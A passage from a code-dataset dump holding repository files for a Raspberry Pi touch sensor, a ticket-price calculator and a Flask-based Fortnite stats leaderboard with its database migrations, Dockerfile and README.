= True\n\n # Enabled IRQ\n cap2.irq_enabled = True\n\n # Speed it up\n #cap2.write_register(Adafruit_CAP1188.STANDBYCFG, 0x30)\n\n print cap2\n\n while True:\n\n if(GPIO.input(29)):\n print \"INPUT is HIGH\"\n else:\n print \"INPUT is LOW\"\n t = cap2.touched\n for x in t:\n print \"Touched: \" + str(x)\n\n time.sleep(1)" }, { "alpha_fraction": 0.6851025819778442, "alphanum_fraction": 0.7038358449935913, "avg_line_length": 30.08333396911621, "blob_id": "3bdde3816f862b298baa75446f7945e728a1cb9f", "content_id": "cc89ed87490abb8b2d870b968c4d0f3c8f348a12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1121, "license_type": "no_license", "max_line_length": 95, "num_lines": 36, "path": "/Cap.py", "repo_name": "roosnic1/rpi_cap", "src_encoding": "UTF-8", "text": "\nfrom I2CInfo import I2CInfo as I2C\n\nclass Captivity(object):\n\n\n\t\"\"\"\n\t\ti2c_addr: the address of the device on the given i2c bus\n\t\ti2c_bus: the SMBus instance to use for this device.\n\t\ttouch_offset: If provided, an offset to be applied to the\n\t\t reported touch indices (helpful when chaining\n\t\t multiple units)\n\t\"\"\"\n\tdef __init__(self, i2c_addr, i2c_bus, touch_offset = 0):\n\t\tself._i2c = I2C(i2c_bus, i2c_addr)\n\t\tself._touch_offset = touch_offset\n\n\t# Writes the given value to the given register as a single transaction and returns the result.\n\tdef write_register(self, register, value):\n\t\tif self.is_i2c:\n\t\t\treturn self._i2c.write_byte_data(register, value)\n\n\t# Reads a value from the given register and returns it.\n\tdef read_register(self, register):\n\t\tif self.is_i2c:\n\t\t\treturn self._i2c.read_byte_data(register)\n\n\t# Returns true if we're configured to use I2C, false otherwise.\n\t@property\n\tdef is_i2c(self):\n\t\treturn self._i2c is not None\n\n\t# Returns true if we're configured to use SPI, false otherwise.\n\t@property\n\tdef is_spi(self):\n\t\t# TODO really implement this\n\t\treturn not self.is_i2c\n\n" } ]
4
slimdad/tickets
https://github.com/slimdad/tickets
9f52767a3d3590cad96385218c0ecfad18627472
4034f41de8b474510bc3b23cd110560263c468d3
f9143be4b9129aa5dca7dbbab25b001e44e00077
refs/heads/master
2020-05-07T17:38:30.895133
2019-04-11T07:21:10
2019-04-11T07:21:10
180,734,918
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4263782203197479, "alphanum_fraction": 0.4549895226955414, "avg_line_length": 28.191490173339844, "blob_id": "0fc2668c262a754bd84f7ad037b81c673ab3a96c", "content_id": "8c9436ee86d0d79c4deda17ece454d5ca4e99c15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1433, "license_type": "no_license", "max_line_length": 80, "num_lines": 47, "path": "/356PearceProj1.py", "repo_name": "slimdad/tickets", "src_encoding": "UTF-8", "text": "#-------------------------------------------------------------------------------\r\n# Name: 356 Pearce\r\n# Purpose: Calculate ticket prices\r\n#\r\n# Author: Zachary Pearce\r\n#\r\n# Created: 20/02/2019\r\n# Copyright: (c) Zach 2019\r\n# Licence: <your licence>\r\n#-------------------------------------------------------------------------------\r\n#begin\r\ndef main():\r\n\r\n #Initialize\r\n APRICE = 15.75\r\n BPRICE = 12.75\r\n CPRICE = 9.75\r\n EXPENSES = 0.07\r\n\r\n #Input\r\n numA = int(input(\"Enter the number of tickets for Section A\"))\r\n numB = int(input(\"Enter the number of tickets for Section B\"))\r\n numC = int(input(\"Enter the number of tickets for Section C\"))\r\n\r\n #Process\r\n totalA = numA * APRICE\r\n totalB = numB * BPRICE\r\n totalC = numC * CPRICE\r\n Proceeds = (totalA + totalB + totalC)\r\n Tax = Proceeds * EXPENSES\r\n Profit = Proceeds - Tax\r\n\r\n #Output\r\n print(\"The income from ticket sales:\")\r\n print(\"------------------------------\")\r\n print(\"Section A: $ \", format(totalA, \"5.2f\"))\r\n print(\"Section B: $ \", format(totalB, \"5.2f\"))\r\n print(\"Section C: $ \", format(totalC, \"5.2f\"))\r\n print(\"------------------------------\")\r\n print(\"Proceeds: $ \", format(Proceeds, \"5.2f\"))\r\n print(\"Expenses: $ \", format(Tax, \"5.2f\"))\r\n print(\"------------------------------\")\r\n print(\"Profits: $ \", format(Profit, \"5.2f\"))\r\n\r\nmain()\r\ninput()\r\n#end\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" } ]
1
brobotic/fortnite-leaderboard
https://github.com/brobotic/fortnite-leaderboard
7ec59e6815a9afdcb3814b8e80f891de073fe806
282f4d573e2c5488799dd1678125e5596d787486
b4c8b0294d954ae12744b9174771ef997f649879
refs/heads/master
2021-06-08T16:52:51.784872
2019-01-04T20:35:19
2019-01-04T20:35:19
142,515,068
0
0
null
2018-07-27T02:00:46
2019-01-04T20:35:21
2021-06-11T17:46:00
Python
[ { "alpha_fraction": 0.625, "alphanum_fraction": 0.6804245114326477, "avg_line_length": 27.266666412353516, "blob_id": "87ce38303fc5c7648613ee655f0ec55510a5cfd6", "content_id": "02b6b8f7bcc9dc83381fec4f7101cb83351314fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 848, "license_type": "no_license", "max_line_length": 89, "num_lines": 30, "path": "/migrations/versions/d8f37f5b7fa4_adding_player_column_to_season4_table.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"adding player column to season4 table\n\nRevision ID: d8f37f5b7fa4\nRevises: 096e9653b7a4\nCreate Date: 2018-05-01 17:02:36.774461\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd8f37f5b7fa4'\ndown_revision = '096e9653b7a4'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('stats_four', sa.Column('player', sa.String(length=64), nullable=True))\n op.create_index(op.f('ix_stats_four_player'), 'stats_four', ['player'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_four_player'), table_name='stats_four')\n op.drop_column('stats_four', 'player')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6807105541229248, "alphanum_fraction": 0.6841691732406616, "avg_line_length": 64.57731628417969, "blob_id": "944ad0713b250a405ad7fd1e4e3ab46df32b382f", "content_id": "5fc49049650ad96a271bc6e8fff550798b866130", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6361, "license_type": "no_license", "max_line_length": 121, "num_lines": 97, "path": "/migrations/versions/063a23dbc981_new_table_for_lifetime_stats.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"new table for lifetime stats\n\nRevision ID: 063a23dbc981\nRevises: d8f37f5b7fa4\nCreate Date: 2018-05-02 20:29:27.736234\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '063a23dbc981'\ndown_revision = 'd8f37f5b7fa4'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('stats_lifetime',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('player', sa.String(length=64), nullable=True),\n sa.Column('life_wins', sa.Integer(), nullable=True),\n sa.Column('life_kills', sa.Integer(), nullable=True),\n sa.Column('life_kpm', sa.Float(), nullable=True),\n sa.Column('life_kd', sa.Float(), nullable=True),\n sa.Column('life_wr', sa.Float(), nullable=True),\n sa.Column('life_matches', sa.Integer(), nullable=True),\n sa.Column('life_solo_wins', sa.Integer(), nullable=True),\n sa.Column('life_solo_kills', sa.Integer(), nullable=True),\n sa.Column('life_solo_kd', sa.Float(), nullable=True),\n sa.Column('life_solo_wr', sa.Float(), nullable=True),\n sa.Column('life_solo_matches', sa.Integer(), nullable=True),\n sa.Column('life_duo_wins', sa.Integer(), nullable=True),\n sa.Column('life_duo_kills', sa.Integer(), nullable=True),\n sa.Column('life_duo_kd', sa.Float(), nullable=True),\n sa.Column('life_duo_wr', sa.Float(), nullable=True),\n sa.Column('life_duo_matches', sa.Integer(), nullable=True),\n sa.Column('life_squad_wins', sa.Integer(), nullable=True),\n sa.Column('life_squad_kills', sa.Integer(), nullable=True),\n sa.Column('life_squad_kd', sa.Float(), nullable=True),\n sa.Column('life_squad_wr', sa.Float(), nullable=True),\n sa.Column('life_squad_matches', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_stats_lifetime_life_duo_kd'), 'stats_lifetime', ['life_duo_kd'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_duo_kills'), 'stats_lifetime', ['life_duo_kills'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_duo_matches'), 'stats_lifetime', ['life_duo_matches'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_duo_wins'), 'stats_lifetime', ['life_duo_wins'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_duo_wr'), 'stats_lifetime', ['life_duo_wr'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_kd'), 'stats_lifetime', ['life_kd'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_kills'), 'stats_lifetime', ['life_kills'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_kpm'), 'stats_lifetime', ['life_kpm'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_matches'), 'stats_lifetime', ['life_matches'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_solo_kd'), 'stats_lifetime', ['life_solo_kd'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_solo_kills'), 'stats_lifetime', ['life_solo_kills'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_solo_matches'), 'stats_lifetime', ['life_solo_matches'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_solo_wins'), 'stats_lifetime', ['life_solo_wins'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_solo_wr'), 'stats_lifetime', ['life_solo_wr'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_squad_kd'), 'stats_lifetime', ['life_squad_kd'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_squad_kills'), 'stats_lifetime', ['life_squad_kills'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_squad_matches'), 'stats_lifetime', ['life_squad_matches'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_squad_wins'), 'stats_lifetime', ['life_squad_wins'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_squad_wr'), 'stats_lifetime', ['life_squad_wr'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_wins'), 'stats_lifetime', ['life_wins'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_life_wr'), 'stats_lifetime', ['life_wr'], unique=False)\n op.create_index(op.f('ix_stats_lifetime_player'), 'stats_lifetime', ['player'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_lifetime_player'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_wr'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_wins'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_squad_wr'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_squad_wins'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_squad_matches'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_squad_kills'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_squad_kd'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_solo_wr'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_solo_wins'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_solo_matches'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_solo_kills'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_solo_kd'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_matches'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_kpm'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_kills'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_kd'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_duo_wr'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_duo_wins'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_duo_matches'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_duo_kills'), table_name='stats_lifetime')\n op.drop_index(op.f('ix_stats_lifetime_life_duo_kd'), table_name='stats_lifetime')\n op.drop_table('stats_lifetime')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.774193525314331, "alphanum_fraction": 0.7842046618461609, "avg_line_length": 39.8863639831543, "blob_id": "15c825f59d650bac7920f71e7ece109af51ad3d7", "content_id": "64747b89f1cd5dcfe364b12fe1e9c9c56e8a0b77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 1798, "license_type": "no_license", "max_line_length": 307, "num_lines": 44, "path": "/Dockerfile", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "# Used for the production container image that runs on AWS, built in deploy.sh\n\n# We use Alpine Linux (with python3 configured) to keep our base image small. We can't just use a python3 base image, because we still need the functionality of an operating system since we need to configure other packages like nginx(web server) and supervisor(process controller for our python application)\nFROM frolvlad/alpine-python3:latest\n\n# Our application will live in the /app directory inside the container\nWORKDIR /app\n\n# Copy all of our project files to /app\nADD . /app\n\n# Create directory structure for configurations. Can't remember why creating /run/nginx is necessary\nRUN mkdir -p /run/nginx/\nRUN mkdir /etc/supervisor.d/\n\n# Create a new user so our application runs as an unprivileged user, and make it the owner of our application directory\nRUN adduser -D -g '' fortnite\nRUN chown -R fortnite:root /app\n\n# Copy our LetsEncrypt certificates and supervisord configuration\nCOPY supervisor.ini /etc/supervisor.d/supervisor.ini\nCOPY nginx/cert.pem /etc/ssl/certs/cert1.pem\nCOPY nginx/privkey.pem /etc/ssl/certs/privkey1.pem\n\n# Update all system packages\nRUN apk update\n\n# Install nginx\nRUN apk add nginx\n\n# Copy over nginx config\nADD nginx/fortnite.conf /etc/nginx/conf.d/\n\n# Install supervisord\nRUN apk add supervisor\n\n# Install all of the python dependencies that our project requires to run\nRUN pip install -r requirements.txt\n\n# I think this is old and can be removed. In production, our application runs on port 5000 (see supervisor.ini) and nginx proxies port 5000 to port 443 (see nginx/fortnite.conf)\nEXPOSE 80\n\n# Finally, launcher supervisord with our configuration file (which will run our application as a process in the background)\nCMD [\"supervisord\",\"--nodaemon\",\"-c\",\"/etc/supervisord.conf\"]" }, { "alpha_fraction": 0.7840526700019836, "alphanum_fraction": 0.7901744842529297, "avg_line_length": 107.9000015258789, "blob_id": "cca8a34fd12a2c59348457c16a20ba0bbe64ee0b", "content_id": "5e9349fc186b10cd9e97cb775f6cbc3220bf8b18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6534, "license_type": "no_license", "max_line_length": 701, "num_lines": 60, "path": "/README.md", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "# Overview\n\n*DISCLAIMER*: this project was only uploaded so I could show my work to others. This was also made in Seasons 3 and 4 of Fortnite, so I'm not sure if the API code will work as-is today. If you are interested in running your own version and need help, let me know and I'll do my best to assist. This was also my first Python project of decent size, so the code can be horrendous in some places.\n\nSome friends and I were heavily into Fortnite a while back, and while our stats were available on FortniteTracker, I wanted a way to view all of our stats in one place. I also wanted a cool programming project that involved a variety of technologies such as containers and build systems. Using FortniteTracker's API, I created a simple leaderboard website using Python. Here's an overview of the project and my processes for developing & deploying it.\n\n## Features\n\n* Tracks Fortnite stats(games won, kills per match, etc.) for a group of players. Stats are separated by seasons, as well as lifetime stats.\n* As players win games, new wins are announced in the win feed along with the time of the game and how many kills the player had in the game\n* In a separate and slightly extended version of this application (not posted on GitHub), I made a simple API for the application. This allows us to query the stats database however we please. The API was created for a simple Discord bot that I made. The bot would announce new wins to the channel as they happened. I chose to run it separately because I wasn't sure how to secure a service that ran an API.\n\nHere is how the stats are presented:\n\n![Front Page](misc/leaderboard1_gh.png)\n\n# How it works\n\n1. FortniteTracker retrieves player stats directly from Epic Games' endpoints. Every 3 minutes, their site is updated with the latest stats. Luckily, they are kind enough to provide API access. All you need to do is create an account, log in, and generate an API key.\n2. The leaderboard application runs in a Docker container on an AWS EC2 instance (running Ubuntu). AWS Elastic Container Registry handles anything related to the container: configuration, deployment, and image repository.\n3. Every 5 minutes, a cronjob on the EC2 instance runs a script (dbupdate.py) inside of the container. This script queries FortniteTracker's API for player stats, and enters them in the local SQLite database\n\n## Development and testing process\n\n1. As changes are made to the code, new code is pushed to the development branch of the project's git repository on my local GitLab server\n2. GitLab notifies my local Jenkins server of pushes to the development branch, and kicks off a build job on my local Docker server.\n3. This job stops the current running leaderboard container, builds a new container image with the latest code, and launches a container that is based off the new image\n3. Since the application runs on port 80 on my Docker host, I simply connect to the hostname of my Docker host in a web browser and make sure everything is working. I should have included some sort of automated testing, but I'm still very much learning and will be soon implementing that in my new Flask project. Once things look good, I move on to deploying to \"production\"\n\n## Production deployment process\n\n1. Once changes are tested locally, I merge the development branch into the master branch in GitLab\n2. GitLab notifies Jenkins of a merge into the master branch, and kicks off another job on the Docker host.\n3. This job builds the new production container image, pushes the new image to our image repository on AWS ECR, and tells our application to re-deploy itself with the latest production image. This causes the site to go down for about a minute, but since it only used by myself and a few friends, this was acceptable. More container instances running also means more money spent.\n\n## Container information\n\nThe Docker container is based off an Alpine Linux image with Python 3 ready to go. Alpine Linux aims to be small in size but also resource efficient. Since the container will run in AWS, I wanted to keep the container image as small as possible.\n\nA few things happen as the container is spun up:\n\n* The project code is copied in to /app\n* A new user is created, so that the application is ran as this user and not root\n* LetsEncrypt certificates are copied in to the container. It always felt like a hacky way to achieve HTTPS and I know there's better options, but hey, it worked\n* All system packages are updated\n* nginx, the web server, is installed\n* The nginx configuration is copied in to the container. This allows us serve the site over HTTPS, to reverse proxy the application port to 443, and redirect any port 80 requests to 443\n* supervisord is installed\n* All python package dependencies are installed from requirements.txt\n* Finally, the application is launched using supervisord. supervisord will start the application using gunicorn (a Python WSGI HTTP server) with 4 workers, allowing each worker to individually respond to HTTP GET requests for better performance. gunicorn is running on port 5000, but nginx will take requests to port 443 and send them over to gunicorn's port 5000, then sends the application's response back to the requesting client.\n\n## Postmortem\n\nUltimately, I was happy with how it turned out and the progress I made in the time spent working on it. It doesn't look great, but I'm not a web designer. I had done two Flask projects with databases before this, but they were far smaller in scope and only took a day or two to complete. I had a very basic version of it up and running in about a week, and iterated on that for the next month. Then I expanded on it by adding an API, which allowed a Discord bot to query data from the application. Once I had the Discord bot announcing new wins in a channel, I felt like I had accomplished what I set out to do and more and ceased work on the project. We also stopped playing Fortnite, so that helped.\n\nThere's things I wanted to do better, but I'll tackle those concepts in the next project: better error handling, more efficient and decoupled application structure, and some sort of actual logging solution.\n\nTwo highlights for me was: the fact that the leaderboard became part of our Fortnite experience, and the rush of the new season coming out and me having to hurry and implement the new season's stats in the application.\n\nEnter the next project: a Destiny clan stat site. This one is more ambitious in terms of data, so I look forward to sharing that once I consider it complete.\n" }, { "alpha_fraction": 0.5053191781044006, "alphanum_fraction": 0.7039006948471069, "avg_line_length": 16.090909957885742, "blob_id": "cdd1ffa323ca6b05ba7a01f0a715617b2185cf7e", "content_id": "17c6326aefde75305ab727ccaeb42d82259cd25b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 564, "license_type": "no_license", "max_line_length": 24, "num_lines": 33, "path": "/requirements.txt", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "aiohttp==1.0.5\nalembic==0.9.8\nasync-timeout==2.0.1\nbeautifulsoup4==4.6.0\ncertifi==2018.1.18\nchardet==3.0.4\nclick==6.7\ndiscord.py==0.16.12\ndominate==2.3.1\nFlask==0.12.2\nFlask-Bootstrap==3.3.7.1\nFlask-Migrate==2.1.1\nFlask-Script==2.0.6\nFlask-SQLAlchemy==2.3.2\ngunicorn==19.7.1\nidna==2.6\nitsdangerous==0.24\nJinja2==2.10\nMako==1.0.7\nMarkupSafe==1.0\nmultidict==4.1.0\nPyMySQL==0.8.0\npython-dateutil==2.7.0\npython-dotenv==0.8.2\npython-editor==1.0.3\npytz==2018.3\nrequests==2.18.4\nsix==1.11.0\nSQLAlchemy==1.2.5\nurllib3==1.22\nvisitor==0.1.3\nwebsockets==3.4\nWerkzeug==0.14.1\n" }, { "alpha_fraction": 0.6447540521621704, "alphanum_fraction": 0.6578145623207092, "avg_line_length": 44.939998626708984, "blob_id": "cf44fb267bc7e3bb25e802a31860b25f1905ca88", "content_id": "28b1a219ca6e41e9067c4569d234141d632bcaf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2297, "license_type": "no_license", "max_line_length": 99, "num_lines": 50, "path": "/migrations/versions/781998b42b39_lifetime_duo_and_squad.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"lifetime duo and squad\n\nRevision ID: 781998b42b39\nRevises: 3b77bec9f2d0\nCreate Date: 2018-04-26 13:01:24.647402\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '781998b42b39'\ndown_revision = '3b77bec9f2d0'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('stats', sa.Column('life_duo_kd', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('life_duo_kills', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('life_duo_wins', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('life_squad_kd', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('life_squad_kills', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('life_squad_wins', sa.Integer(), nullable=True))\n op.create_index(op.f('ix_stats_life_duo_kd'), 'stats', ['life_duo_kd'], unique=False)\n op.create_index(op.f('ix_stats_life_duo_kills'), 'stats', ['life_duo_kills'], unique=False)\n op.create_index(op.f('ix_stats_life_duo_wins'), 'stats', ['life_duo_wins'], unique=False)\n op.create_index(op.f('ix_stats_life_squad_kd'), 'stats', ['life_squad_kd'], unique=False)\n op.create_index(op.f('ix_stats_life_squad_kills'), 'stats', ['life_squad_kills'], unique=False)\n op.create_index(op.f('ix_stats_life_squad_wins'), 'stats', ['life_squad_wins'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_life_squad_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_squad_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_squad_kd'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_duo_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_duo_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_duo_kd'), table_name='stats')\n op.drop_column('stats', 'life_squad_wins')\n op.drop_column('stats', 'life_squad_kills')\n op.drop_column('stats', 'life_squad_kd')\n op.drop_column('stats', 'life_duo_wins')\n op.drop_column('stats', 'life_duo_kills')\n op.drop_column('stats', 'life_duo_kd')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6861243844032288, "alphanum_fraction": 0.7009569406509399, "avg_line_length": 60.5, "blob_id": "6eb141fd3b15713cf327decb63327cbf91966014", "content_id": "618d58a2e2462583376f6d3e7813852c0416ffa6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2090, "license_type": "no_license", "max_line_length": 513, "num_lines": 34, "path": "/app/routes.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "from flask import render_template\nfrom app import app, db\nfrom app.models import Stats, WinFeed, StatsFour, StatsLifetime\n\[email protected]('/', methods=[\"GET\", \"POST\"])\[email protected]('/index', methods=[\"GET\", \"POST\"])\[email protected]('/index/<int:page>', methods=[\"GET\", \"POST\"])\ndef index(page=1):\n stats = Stats.query.order_by(Stats.id.desc()).limit(5)\n stats_four = StatsFour.query.order_by(StatsFour.id.desc()).limit(5)\n stats_lifetime = StatsLifetime.query.order_by(StatsLifetime.id.desc()).limit(5)\n\n s3_top_solo_wins = Stats.query.order_by(Stats.solo_wins.desc()).first()\n s3_top_solo_kills = Stats.query.order_by(Stats.solo_kills.desc()).first()\n s3_top_solo_kd = Stats.query.order_by(Stats.solo_kd.desc()).first()\n s3_top_solo_wr = Stats.query.order_by(Stats.solo_wr.desc()).first()\n\n s3_top_duo_wins = Stats.query.order_by(Stats.duo_wins.desc()).first()\n s3_top_duo_kills = Stats.query.order_by(Stats.duo_kills.desc()).first()\n s3_top_duo_kd = Stats.query.order_by(Stats.duo_kd.desc()).first()\n s3_top_duo_wr = Stats.query.order_by(Stats.duo_wr.desc()).first()\n\n s3_top_squad_wins = Stats.query.order_by(Stats.squad_wins.desc()).first()\n s3_top_squad_kills = Stats.query.order_by(Stats.squad_kills.desc()).first()\n s3_top_squad_kd = Stats.query.order_by(Stats.squad_kd.desc()).first()\n s3_top_squad_wr = Stats.query.order_by(Stats.squad_wr.desc()).first()\n\n winpages = WinFeed.query.order_by(WinFeed.log.desc()).paginate(page, 10, False)\n\n return render_template('index.html', winpages=winpages, scores=stats, scores_four=stats_four, scores_lifetime=stats_lifetime, top_solo_wins=s3_top_solo_wins, top_solo_kills=s3_top_solo_kills, top_solo_kd=s3_top_solo_kd, top_solo_wr=s3_top_solo_wr, top_duo_wins=s3_top_duo_wins, top_duo_kills=s3_top_duo_kills, top_duo_kd=s3_top_duo_kd, top_duo_wr=s3_top_duo_wr, top_squad_wins=s3_top_squad_wins, top_squad_kills=s3_top_squad_kills, top_squad_kd=s3_top_squad_kd, top_squad_wr=s3_top_squad_wr, title=\"Season 4\")\n\[email protected]('/changelog.html')\ndef changelog():\n return render_template('changelog.html')" }, { "alpha_fraction": 0.6388342380523682, "alphanum_fraction": 0.643840491771698, "avg_line_length": 52.266666412353516, "blob_id": "20715c130540b678baf29558a956d1dca7dfd608", "content_id": "9241ab34f4e74e03e604c0b672ad5f6f9ca10b9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5593, "license_type": "no_license", "max_line_length": 97, "num_lines": 105, "path": "/migrations/versions/3b77bec9f2d0_init.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"init\n\nRevision ID: 3b77bec9f2d0\nRevises: \nCreate Date: 2018-04-23 00:26:34.647596\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '3b77bec9f2d0'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('stats',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('player', sa.String(length=64), nullable=True),\n sa.Column('solo_wins', sa.Integer(), nullable=True),\n sa.Column('solo_kills', sa.Integer(), nullable=True),\n sa.Column('solo_kpm', sa.Float(), nullable=True),\n sa.Column('solo_kd', sa.Float(), nullable=True),\n sa.Column('duo_wins', sa.Integer(), nullable=True),\n sa.Column('duo_kills', sa.Integer(), nullable=True),\n sa.Column('duo_kpm', sa.Float(), nullable=True),\n sa.Column('duo_kd', sa.Float(), nullable=True),\n sa.Column('squad_wins', sa.Integer(), nullable=True),\n sa.Column('squad_kills', sa.Integer(), nullable=True),\n sa.Column('squad_kpm', sa.Float(), nullable=True),\n sa.Column('squad_kd', sa.Float(), nullable=True),\n sa.Column('life_wins', sa.Integer(), nullable=True),\n sa.Column('life_kills', sa.Integer(), nullable=True),\n sa.Column('life_kpm', sa.Float(), nullable=True),\n sa.Column('life_kd', sa.Float(), nullable=True),\n sa.Column('life_matches', sa.Integer(), nullable=True),\n sa.Column('life_solo_wins', sa.Integer(), nullable=True),\n sa.Column('life_solo_kills', sa.Integer(), nullable=True),\n sa.Column('life_solo_kd', sa.Float(), nullable=True),\n sa.Column('pic', sa.String(length=128), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_stats_duo_kd'), 'stats', ['duo_kd'], unique=False)\n op.create_index(op.f('ix_stats_duo_kills'), 'stats', ['duo_kills'], unique=False)\n op.create_index(op.f('ix_stats_duo_kpm'), 'stats', ['duo_kpm'], unique=False)\n op.create_index(op.f('ix_stats_duo_wins'), 'stats', ['duo_wins'], unique=False)\n op.create_index(op.f('ix_stats_life_kd'), 'stats', ['life_kd'], unique=False)\n op.create_index(op.f('ix_stats_life_kills'), 'stats', ['life_kills'], unique=False)\n op.create_index(op.f('ix_stats_life_kpm'), 'stats', ['life_kpm'], unique=False)\n op.create_index(op.f('ix_stats_life_matches'), 'stats', ['life_matches'], unique=False)\n op.create_index(op.f('ix_stats_life_solo_kd'), 'stats', ['life_solo_kd'], unique=False)\n op.create_index(op.f('ix_stats_life_solo_kills'), 'stats', ['life_solo_kills'], unique=False)\n op.create_index(op.f('ix_stats_life_solo_wins'), 'stats', ['life_solo_wins'], unique=False)\n 